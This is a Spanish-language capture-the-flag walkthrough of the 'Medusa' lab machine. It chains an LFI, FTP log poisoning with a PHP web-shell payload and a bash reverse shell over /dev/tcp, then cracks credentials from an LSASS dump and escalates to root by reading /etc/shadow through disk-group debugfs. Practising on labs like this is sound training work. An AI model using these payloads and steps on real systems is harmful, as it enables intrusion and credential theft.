033 - Medusa - wh01s17

Enumeración de servicios

Comenzamos con un escaneo de puertos:

❯ sudo nmap -p- -sS --min-rate 5000 -n -Pn -oG 01-allPorts 192.168.1.18
❯ nmap -sCV -p21,22,80 -oN 02-targeted.txt 192.168.1.18
Starting Nmap 7.94 ( https://nmap.org ) at 2024-03-03 15:49 -03
Nmap scan report for 192.168.1.18
Host is up (0.00028s latency).

PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
|   3072 70:d4:ef:c9:27:6f:8d:95:7a:a5:51:19:51:fe:14:dc (RSA)
|   256 3f:8d:24:3f:d2:5e:ca:e6:c9:af:37:23:47:bf:1d:28 (ECDSA)
|_  256 0c:33:7e:4e:95:3d:b0:2d:6a:5e:ca:39:91:0d:13:08 (ED25519)
80/tcp open  http    Apache httpd 2.4.54 ((Debian))
|_http-server-header: Apache/2.4.54 (Debian)
|_http-title: Apache2 Debian Default Page: It works
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.98 seconds

Enumeramos con gobuster:

❯ gobuster dir -u http://192.168.1.18 -w ~/Documentos/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x html,php,txt -r
...
/index.html           (Status: 200) [Size: 10674]
/manual               (Status: 200) [Size: 676]
/hades                (Status: 200) [Size: 0]
...

Enumeración web y descubrimiento del LFI

El index (parecido a la página por defecto de Apache) tiene una pista al final:

Please use the reportbug tool to report bugs in the Apache2 package with Debian. However, check Kraken open the door.

Enumeramos /hades/:

❯ gobuster dir -u http://192.168.1.18/hades/ -w ~/Documentos/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x html,php,txt -r
...
/index.php            (Status: 200) [Size: 0]
/door.php             (Status: 200) [Size: 555]
...

door.php pide una palabra mágica; probamos Kraken (la pista) y obtenemos un dominio:

<source><marquee>medusa.hmv</marquee></source>

Lo agregamos al /etc/hosts y fuzzeamos virtual hosts, descubriendo dev:

❯ wfuzz -u 'http://medusa.hmv' -H 'Host: FUZZ.medusa.hmv' -t 100 -w ~/Documentos/wordlists/SecLists/Discovery/DNS/subdomains-top1million-5000.txt --hw 929
...
000000019:   200        25 L     285 W      1973 Ch     "dev"
...

En dev.medusa.hmv enumeramos /files/:

❯ gobuster dir -u http://dev.medusa.hmv/files/ -w ~/Documentos/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x html,php,txt -r
...
/index.php            (Status: 200) [Size: 0]
/system.php           (Status: 200) [Size: 0]
/readme.txt           (Status: 200) [Size: 144]

Fuzzeamos parámetros en system.php y encontramos view, vulnerable a LFI:

❯ ffuf -u "http://dev.medusa.hmv/files/system.php?FUZZ=/etc/passwd" -w ~/Documentos/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -fs 0
...
view                    [Status: 200, Size: 1452, Words: 14, Lines: 28, Duration: 4ms]
...

Log poisoning y acceso inicial

El LFI nos da acceso al log de vsftpd, lo que permite Log Poisoning para lograr RCE. La técnica necesita dos comportamientos distintos: un servicio debe escribir datos controlados en un archivo y la aplicación vulnerable debe incluir ese mismo archivo mediante una función que interprete PHP. Inyectamos PHP en el campo de usuario del FTP:

http://dev.medusa.hmv/files/system.php?view=/var/log/vsftpd.log

❯ ftp 192.168.1.18
Connected to 192.168.1.18.
220 (vsFTPd 3.0.3)
Name (192.168.1.18:wh01s17): '<?php system($_GET['c']); ?>'
331 Please specify the password.
Password:
530 Login incorrect.
ftp: Login failed.
ftp>

Aunque el login falle, vsftpd registra el nombre de usuario y deja nuestra etiqueta PHP dentro del log. Al incluir después ese archivo, PHP evalúa la llamada a system() y el parámetro c pasa a controlar la orden ejecutada. Incluimos el log envenenado pasando comandos por c:

http://dev.medusa.hmv/files/system.php?view=/var/log/vsftpd.log&c=id

Y lanzamos una reverse shell (con netcat a la escucha):

❯ ncat -nlvp 1234

http://dev.medusa.hmv/files/system.php?view=/var/log/vsftpd.log&c=bash -c "bash -i >%26 /dev/tcp/192.168.1.10/1234 0>%261"

Obtención de credenciales desde un volcado LSASS

Ya dentro, en la raíz encontramos un directorio oculto ... con un ZIP:

www-data@medusa:/...$ ls -la
ls -la
total 12108
drwxr-xr-x  2 root     root         4096 Jan 18  2023 .
drwxr-xr-x 19 root     root         4096 Jan 15  2023 ..
-rw-------  1 www-data www-data 12387024 Jan 18  2023 old_files.zip

Lo transferimos a nuestra máquina con un servidor HTTP y crackeamos su contraseña con john:

www-data@medusa:/...$ python3 -m http.server 8080
❯ wget http://192.168.1.18:8080/old_files.zip

❯ zip2john old_files.zip > hash
❯ john -w=/home/wh01s17/Documentos/wordlists/rockyou.txt hash
...
medusa666        (old_files.zip/lsass.DMP)
...

El ZIP contiene un volcado de memoria de LSASS, que analizamos con pypykatz para extraer credenciales:

❯ pypykatz lsa --json minidump lsass.DMP > output.txt
...
"password": "5p3ctr3_p0is0n_xX",
"username": "spectre"
...

Cambiamos al usuario spectre y obtenemos la primera flag:

www-data@medusa:/$ su spectre
Password: 5p3ctr3_p0is0n_xX
spectre@medusa:/$

Escalada de privilegios mediante el grupo `disk`

Al ejecutar id, vemos que spectre pertenece al grupo disk (entre otros), lo que permite leer cualquier archivo del disco (Privileged Groups Privesc):

spectre@medusa:/home$ id
uid=1000(spectre) gid=1000(spectre) groups=1000(spectre),6(disk),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev)

Con debugfs leemos /etc/shadow y extraemos el hash de root:

spectre@medusa:/home$ debugfs /dev/sda1
debugfs:  cat /etc/shadow
...
root:$y$j9T$AjVXCCcjJ6jTodR8BwlPf.$4NeBwxOq4X0/0nCh3nrIBmwEEHJ6/kDU45031VFCWc2:19375:0:99999:7:::
...

Lo crackeamos con john:

❯ cat hash_root
$y$j9T$AjVXCCcjJ6jTodR8BwlPf.$4NeBwxOq4X0/0nCh3nrIBmwEEHJ6/kDU45031VFCWc2

❯ john -w=/home/wh01s17/Documentos/wordlists/rockyou.txt hash_root --format=crypt
...
andromeda        (?)
...

El grupo disk no equivale formalmente al UID 0, pero concede acceso directo al dispositivo de bloques. debugfs interpreta el sistema de archivos sin pasar por los permisos normales aplicados al abrir /etc/shadow, por lo que podemos recuperar el hash y atacarlo fuera de línea. Con la contraseña resultante nos autenticamos como root:

spectre@medusa:/home$ su root
Password: andromeda
root@medusa:/home#

Obtenemos nuestra flag.

Fin.